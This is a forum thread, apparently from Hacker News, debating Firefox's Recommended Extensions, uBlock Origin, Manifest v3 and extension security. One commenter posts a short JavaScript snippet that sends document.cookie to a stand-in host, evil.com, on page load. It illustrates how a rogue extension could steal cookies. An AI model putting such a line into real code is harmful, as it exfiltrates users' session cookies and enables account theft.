Posted by DemiGuru 14 hours ago
They don't do it for every extension, but they do so for a wide selection of popular options.
> Recommended extensions differ from other extensions that are regularly reviewed by Firefox staff in that they are curated extensions that meet the highest standards of security, functionality and user experience. After receiving Recommended status, safety standards are maintained through automated checks, monitoring, and periodic technical reviews
https://support.mozilla.org/en-US/kb/recommended-extensions-...
https://addons.mozilla.org/en-US/firefox/search/?promoted=re...
Some quite informative discussion on Firefox subreddit when I discovered and posted the above list there a few months ago.
https://www.reddit.com/r/firefox/comments/1pyvx2v/complete_a...
The Recommended Extensions program description: https://support.mozilla.org/en-US/kb/recommended-extensions-...
I've always wished extensions had more granular permissions though (a la phones, but more so). I think automated ai security checks sound promising soon.
So maybe more developers could do a all sites and manually select sites option?
¹BPC extension
They could save themselves the trouble if Firefox simply baked in its own ad-blocking, but since Google basically owns them, we all know that will never happen.
Ladybird browser is going to be awesome.
And Mozilla did develop anti-fingerprinting tech, but they can't enable it by default because it breaks lots of websites and when a website doesn't work they're not going to appreciate Mozilla for protecting them, they're going to be pissed that it doesn't work.
Which in practice means "switch to using a Firefox extension which fakes looking like Chrome, and just to selected shitty sites like ours".
That's how IE 6 was killed.
Also FE devs using all new Chrome shinny APIs, and their Electron junk are also to blame, and they aren't going to throw their toys away.
https://web.archive.org/web/20070817224229/http://whyfirefox...
Ironically, if I fake instead a chromium to be on Windows (UA and Sec-CH headers), I am allowed most of the time even though my TCP fingerprint must mismatch then.
It's annoying to see what the normal web has become. Can't even read news anymore.
Ironically, all these bot defenses make it easier for bots to scrape their website, but make it harder for actual users to use them.
The only bot defense web app firewall that still works with Firefox seems to be Anubis. Pretty much all others autoflag Linux users as bot users, which feels insane if you think about less web developers must know about how botnets work.
I get this with Chrome on MacOS.
I'm becoming more convinced that Cloudflare is the bane of the internet.
If you really mean reCAPTCHA (the one with a “select all squares that have X” kinda challenges), then Cloudflare hasn’t used that for quite a while now. archive.today uses a Cloudflare-looking (old style) page with a reCAPTCHA (and they do serve it quite often), but I don’t think I’ve seen other sites do that.
Fortunately if projects like Ladybird gain enough momentum, websites might be forced to cater to it. Time will tell.
If you want to inherit all of Firefox's flaws, I suppose.
> and don't need to make a new one from scratch that'll never get past Cloudflare?
Considering Cloudflare is a sponsor of Ladybird, something tells me they're going to grant an exception for it.
People on here love to moan about Firefox because Mozilla did one thing at some point in the existence of the company they didn't like. But then just cede the Internet to Google and chromium clones because at some point when they were a crappy junior JS dev, Chrome had some better tooling over Firebug so they just got used to testing in one browser. Maybe they also like to remember how Firefox, a decade ago, couldn't handle 1000 tab sessions.
I hope Firefox keeps up the fight but HN loves to crap all over them for not being perfect.
Entirely possible that this is an issue specific to NixOS or my machine, but because of that issue I switched over to Brave.
I would like to go back to Firefox at some point. Maybe I’ll see if I can make a patch to fix video acceleration on NixOS.
I'm being tongue-in-cheek here because it seems most people just give up on safari/firefox if one thing doesn't work and go to some chromium-based browser as their default driver. That's sad.
I have never had chrome on windows 10 or 11; nor chromium.
For a year chase.com wouldn't allow me to login from Firefox. Dumb.
They will have to pry with significant force firefox with ublock origin from my old dusty finger bones... fuck the rest for selling us all out.
Even if it won't move the needle a bit, I can look at myself in the mirror in this specific regard and be content that I didnt bow my head like bland masses did and didnt work towards massive enshittification of our global society from now on.
Because thats what its all about, nothing less. With our choices, we shape future for our kids and grandkids. Shame on you, all you rich faangs who are directly helping this. Godwin's law is never too far in such cases and history wont be kind to you, no reason to be
Regardless, I don't want baked-in Firefox adblocking in part because I don't trust Mozilla with that task either. They'd absolutely end up allowing their own "acceptable" telemetry and ads. Even if they didn't, it would be unlikely to ever be as effective as Ublock Origin. Much like how Chromium browsers' built-in adblocking is barely anything in comparison, even on Manifest V2.
And yet, for now, Firefox and Mozilla is by far the lesser evil. I like a few of the Chromium browsers well enough, but they are ultimately at the mercy of Google.
I hope Ladybird does well, too.
> Regardless, I don't want baked-in Firefox adblocking in part because I don't trust Mozilla with that task either.
This is in a thread about how we should be happy that FF is vetting code for us. Do we trust them or don't we?
> And yet, for now, Firefox and Mozilla is by far the lesser evil.
I'm instinctively tempted to agree, but the difference is so negligible at this point that the only sign I would is the fact I'm still using FF due to momentum (as well as Ladybird not being ready from prime time yet).
FF/Mozilla has proven itself to be controlled opposition, so I'm not very interested in games of "lesser-of-two-evils" abuser logic that has infected politics and many other spheres in a race to the bottom.
GP trusts them for reviewing external extension code, and ensure that it does not contain malware, but not for not inserting exception to their own telemetry if they wrote the code themselves.
Or, more likely, they feel that having two independent actors collaborating on the extension (one by writing and the other by reviewing) yields a more trustworthy outcome than either actor on their own.
Mozilla have given us plenty of reasons to not trust them, which makes it hilarious that anybody would think it's noteworthy they're reviewing the code of Raymond Hill of all people.
> Raymond Hill of all people.
As good as he's been, he's still just one person with a hobby project. Yes please review it!
And what if he gets hacked?
> This is in a thread about how we should be happy that FF is vetting code for us. Do we trust them or don't we?
Are you joking? You brought the claim to the table, and now that people see the flaws in it you deny them talking about it? You're some mental gymnast..
Yes, Firefox could do everything, but then it'd turn back into Mozilla. The whole point of the extensions framework is to allow modular extensibility. And it's much easier to vet for malware than to code afresh and maintain.
What stuns me is that most people still use browsers that cannot block ads, seem genuinely annoyed by ads, but don't want to even try switching to a browser that will easily block those ads. It's amazing how much crap people are willing to wade through when the alternative is trying something new.
No it's not.
> Yes, Firefox could do everything, but then it'd turn back into Mozilla. The whole point of the extensions framework is to allow modular extensibility. And it's much easier to vet for malware than to code afresh and maintain.
No, quite the opposite. FF has a history of adopting extensions as baked-in functionality if they prove useful/popular enough. There are tons of examples of this from the past for various features, which is great.
But that fact makes it even more absurd that they refuse to do the same for what is likely their most popular extension of all time: uBlock Origin
It's been 20+ years, nobody cares about that anymore.
Google has been trying to kill them since they moved the Chrome team into the same building as the now defunct SF office.
(Apparently they offered people a lot of money? There are some words I could use to describe people who do things they think are unethical for cash I'll leave unsaid.)
What I am surprised about is that none of the browsers or forks have created a specialist plugin API for adblocking and maybe other filtering. Provide what is needed and only that (keeping the surface tiny), and then evolve the general purpose API in the way they need. I don't think we need V2 of the API any more, except for keeping this one absolutely critical plugin working, do we?
It's not black and white, and your inability to see the larger context is disturbing.
You could, by the same logic, criticize Mozilla for not serving you coffee which is certainly a "user-oriented policy" "baked-in" or rather "brewed-in". But we must be realistic about how far UOPs can be stretched, Mozilla is better than the rest, which includes large corps with far more money than them. If you can do better than Mozilla, I'm all ears.
Next, an ad-blocker needs continuous maintenance - someone started a good one long time ago and apparently loves to improve it and maintain the various lists it uses - why should Mozilla strain to compete with one of their best contributors? - that would be both rude and dumb, and they'd be wasting resources too. There's absolutely no upside to your proposition but you keep insisting.
One would hope that's one of the more useful things an LLM could assist with if not now, very soon. In the meantime, there's no reason they couldn't have uBlock kept as an extension but bundled by default like they've done with other functionality over the years. Wait, never mind. There's one rea$on why they wouldn't, and it's already been $tated.
I hope many more debate nerds carry on his quest to engage young people with words, not fists."
If this statement - a urge to engage in peaceful debate, not violence - makes you hate him, then I see the problem rather with you. I mean seriously, do you like civil war? Because this is what happens when people don't talk anymore about their disagreements, but physically fight.
"will never be awesome" is missing some quantifier about US-centricity.
Andreas Kling is Swedish, DHH is Danish, fascism originated in Europe.
Considering enough developer on this very site "stan" Charlie Kirks assassin and other people that are violent towards anybody less left wing than them: "your boos mean nothing, i have seen for what you cheer"
1. pass paywalls clean.
2. Social Fixer
Or, just pay for journalism since it’s not free to do.
I will say however, it works remarkably well. I haven't seen a paywall in years!
Why, are they worried it might interfere with the spyware they bake into Firefox themselves?
https://www.howtogeek.com/557929/how-to-see-and-disable-the-...
Also, Mozilla officially un-committed to not using sell this and any other data it collects from you:
https://arstechnica.com/tech-policy/2025/02/firefox-deletes-...
> We never sell your personal data. Unlike other big tech companies that collect and profit off your personal information, we’re built with privacy as the default. We don’t know your age, gender, precise location, or other information Big Tech collects and profits from.
Now we're back to needing an actual extension system that does what extensions were supposed to do in the first place.
Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.
It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should be literally built into the browser instead of being a mere extension. Only the conflicts of interest inherent in an ad company maintaining an ad blocker prevent that.
Furthermore, malicious extension can read the data from the DOM, from forms (for example, password or credit card fields), and in some cases, from JS variables. They can insert fake information into the page. So preventing extensions from reading network data still leaves a lot of options for a malicious extension.
uBlock Origin via declarative blocks is almost as powerful as the original. While I would trust gorhill with almost unfettered control over my browser, I don't trust EVERY extension owner (no do I trust uBlock Origin in perpetuity).
A funny argument to make because the thing that would make such a measure ridiculous as you rightly point out, is exactly what already makes the Manifest changes ridiculous in the first instance. They were making a rhetorical point and you elaborated on their point for them as if doing so expressed a disagreement.
To be honest, to me it sounds like you don't want browser extensions then.
To me, directly messing with web page data and browser behaviour is the whole point of a browser extension - what else is a browser extension for?
No thanks. They should have to declare to the browser what it is they want done instead.
I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.
The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google.
I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.
The argument has nothing at all to do with declaring permissions in a manifest.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
});Don't kid yourself, even with mv3 if you install a rogue extension it's going to have access to a lot more data than you would be comfortable sharing to.
Sounds like some kind of Stockholm syndrome. Years ago, it was standard practice for software to be designed so that users could grant permissions to access invasive methods or functions.
Google relies on users' personal data (ads), which is why they introduced a unique ID to their Chrome browser (to track).
Agreed. And you would think most paranoid HN types would too.
> It's just that uBlock Origin is so insanely useful, important and trusted
Maybe I'm foggy on the history. But isn't this like Fork #4 or #5 of some previous AdBlock extension?
Seems like the only business model for this type of extension is "selling out" for certain ads. And then the cycle repeats and forum posters tell you to install qBlock Omega or whatever. Maybe Mozilla doesn't want to get in the middle of this?
Why are you installing random extensions?
What you are asking for is simply impossible, even without any permissions rogue extensions can still do a lot. It's what some developers spend their entire time working on.
If Google couldn't fix it with Android, which has granular permission per applications, why do you think it's going to be even remotely effective on the web browser ?
I was under the impression that manifest v3 still allowed extensions to read anything, just not modify. Is that not the case? (Random link because this is hard to search for: https://news.ycombinator.com/item?id=38303446 )
Clearly “random” was used as a means of saying “any”, to describe extensions the author hasn’t thought of. That will be obvious to anyone arguing in good faith and steel manning the argument.
This is so funny to me. Coming from a Netscape Navigator world, when extensions first came out, they were supposed to allow the user to add functionality to websites.
Why would someone install "random extensions" that they dont trust. And also, what would extensions do if not read and write data to websites? .
Sign of the times I guess.
Same reason why people download random stuff and run it with administrator permissions on Windows.
An extension that you trust today can be sold to an unscrupulous third-party tomorrow. That has happened many many times and will continue to.
In fact, it is possible for people to be held to good conduct without being bound into a single hierarchy, and it should be possible for software to be held to good conduct without giving such power to single monopolists. But it's not in Google's interests to build such mechanisms, any more than it was in the interests of the feudal overlords to look for alternatives to their rule.
The fact someone gave developers a turing complete language inside the browser where random code is automatically downloaded and executed is a major reason why we even have uBlock Origin in the first place. The vast majority of developers heavily abuse this privilege and cannot be trusted, and that is why we block them with extreme prejudice.
The right thing is to simply bypass all of that. The fact is uBlock Origin should be literallly built into the browser like the good old popup blockers once were.
If only we had a browser that was independent of ad money.
I also don't want "random" programs accessing my home folder. That would be terrible! Who knows what programs that could be! I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily. Same for extensions.
The goal here isn't really to protect me from extensions. Extensions don't do anything on their own, they just sit there and wait for me to install them. So the goal is apparently to protect me from me (installing an extension), which really is to say protect their business (ads) from me (blocking them).
> I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily.
I don't. My standard operating practice is to virtualize them.
My security posture is considerably more lax towards free and open source software, for obvious reasons, and even then this trust only extends to the software in my Linux distribution's repositories. Stuff coming from PyPI, npm, cargo, ruby gems, and other such "developer centric" repositories get the full virtualization treatment. If it's easy for randoms to publish packages, then it's equally easy for malware to make it in.
I have a base system image that gets forked off into delta qcow2 images for every project I'm working on or whatever ephemeral execution context I need.
I started a side project to build software just to manage those VMs. I'm daily driving this thing even though it's my first "vibecoded" project, it's just way too useful and has saved me quite a few times from accidents.
https://github.com/matheusmoreira/virtdev
The firewall works but it's pretty clunky. I'm working on a custom Rust network stack to replace it.
You'd probably prefer something that isn't literally made by one guy and his AIs though. Docker sandboxes seem to be a good solution that also employs virtualization.
https://news.ycombinator.com/item?id=49239751
Before I made all this, I used to use firejail.
Yes, and I have actually started virtualizing everything inside my computer because of that belief. I don't want random software touching my trusted host.
"Random software" is currently defined as anything outside the official repositories of my Linux distribution of choice. I don't want to share a home directory with such things. I don't want to share a user and its permissions, I don't even want to share a kernel with them.
I see this repeated over and over and yet uBlock Origin Lite still seems to block almost all ads. I'm not saying I wouldn't prefer the non-lite version. But, given I basically still don't see ads it's kind of hard to argue Google destroyed the APIs so that they're useless
The Lite version also relies solely on filter lists that require you to update the extension itself while the MV2 version can do so dynamically. Additionally, it lacks CNAME Uncloaking which I imagine will become much more commonplace soon enough which will make it impossible to block those ads.
If they are hidden for you, it's because you, the user, hid them or enabled the overflow extension menu.
If that would have been the case, extensions wouldn’t exist.
Extension are a way to make the browser do what the browser manufacturer didn’t think or care about.
The issue is that adblocking doesn't work with it, so an addition, or workaround should be made, but when Google has the amount of influence they have, that didn't happen.
The upshut is that people hate ads and like free stuff, so there is now a good selling point for Firefox. Hell some of us switched to Firefox because it blocked popup ads and had tabs, back in the day.
Except this is objectively not true…
uBlock Origin Lite is nearly as good as uBO and blocks nearly everything except for mostly Twitch ads.
Manifest v3 is a big security upgrade and effectively closes off the permanent RCE pathway that v2 allowed.
> Can't understand why they put up with it
To see which (rare) sites don’t put up a million ads and actually care about the reading experience.
A lot of the top-listed sites on HN are small blogs without ads (or in the case of danluu.com or lwn.net - without almost any formatting).
daringfireball.net is notable for actually having small, non-intrusive ads that I wouldn’t ever feel the need to block (unless you consider the entire site an ad for Apple but that’s a seperate concern).
> do they just think that it's part and parcel of the internet to have every page look like a slot machine from hell?
It is integral to the business models of the sites putting up those ads. And if those sites don’t make money then they’ll also be unable to pay writers. Much like herd immunity or financial speculation there will always be “somebody else” to watch the ads and essentially subsidize the ad-blocking audience, but I’d rather not be one of those people, I want my usage to be worth the while for the writers.
I am sometimes (rarely) willing to pay for an ad-free experience if I’m a repeat visitor. But more often I’d rather not visit at all if a site is too annoying. Another unfortunate situation is that even if you pay for a subscription, some sites have no ad-free option, such as the New York Times.
The big exception is YouTube, where I visit often, am bombarded with ads but also don’t want to pay Google.
Immediately turned it off.
uBO Lite blocks ads on YouTube just as well as uBO did.
That's a bit hyperbolic. The areas of the internet I frequent do not have egregious ads (for example, this page). Areas where I really would like good ad-blocking (youtube) are often not covered by these ad blockers. Thankfully Youtube Premium isn't too expensive and solves that issue.
Maybe it's better these days but I always found browser extensions (including uBlock) had a pretty big performance hit, so I've always shied away from them (with the exception of a password manager).
True, but some of us refuse to give that company money on principle. The minute I can't watch YouTube without ads is the minute I stop watching YouTube. (The creators I follow make way more money off me on Patreon than Google would ever pay them, anyway.)
> I always found browser extensions (including uBlock) had a pretty big performance hit
I always found that not using uBO was a pretty big performance hit. :)
Brave: chrome://flags/#brave-extensions-manifest-v2 > brave://settings/extensions/v2 > Enable uBlock Origin (Brave-hosted, even better).
Helium comes with uBlock Origin pre-installed.
Edge even still has it https://microsoftedge.microsoft.com/addons/detail/ublock-ori...
And I'm sure others ...I personally only use/test Brave, Brave Origin, Helium and Firefox.
Brave is the only one that might be considered a valid point. However, because of Chromium dropping support they've had to implement a custom bypass to support Manifest v2 and they are also hosting a version of uBlock Origin for Chromium on their own servers.
It's really questionable how long this state of affairs can go on for. Brave has said they will support it "as long as they are able" but Google could easily just remove the `webRequest` API from Chromium or the engineering burden to keep it alive might just get to be too much
Unfortunately, I think it has an expiration date on any Chromium-based browser.
and simply dont use their homepage as your new tab page
I do miss the rules that let me remove stuff based like CSS like selectors. The strange thing is, even though uBlock Origin Lite doesn't support that feature it's still totally possible to make an extension that does that. Maybe the specific thing uBlock Origin was doing is not possible but making an extension that follows rules and hides/deletes elements with different rules per site is still fully possible under manifest v3
That's what gemini:// is for.
The web is completely unusable without UBO+FF. Any time I have to use a clean browser, I feel assaulted and dirty, plus wonder what malware just got injected into my machine.
If it were to go away, I would probably accelerate retiring to an analog, offline life.
The Lite version also relies solely on filter lists that require you to update the extension itself while the MV2 version can do so dynamically. Additionally, it lacks CNAME Uncloaking which I imagine will become much more commonplace soon enough which will make it impossible to block those ads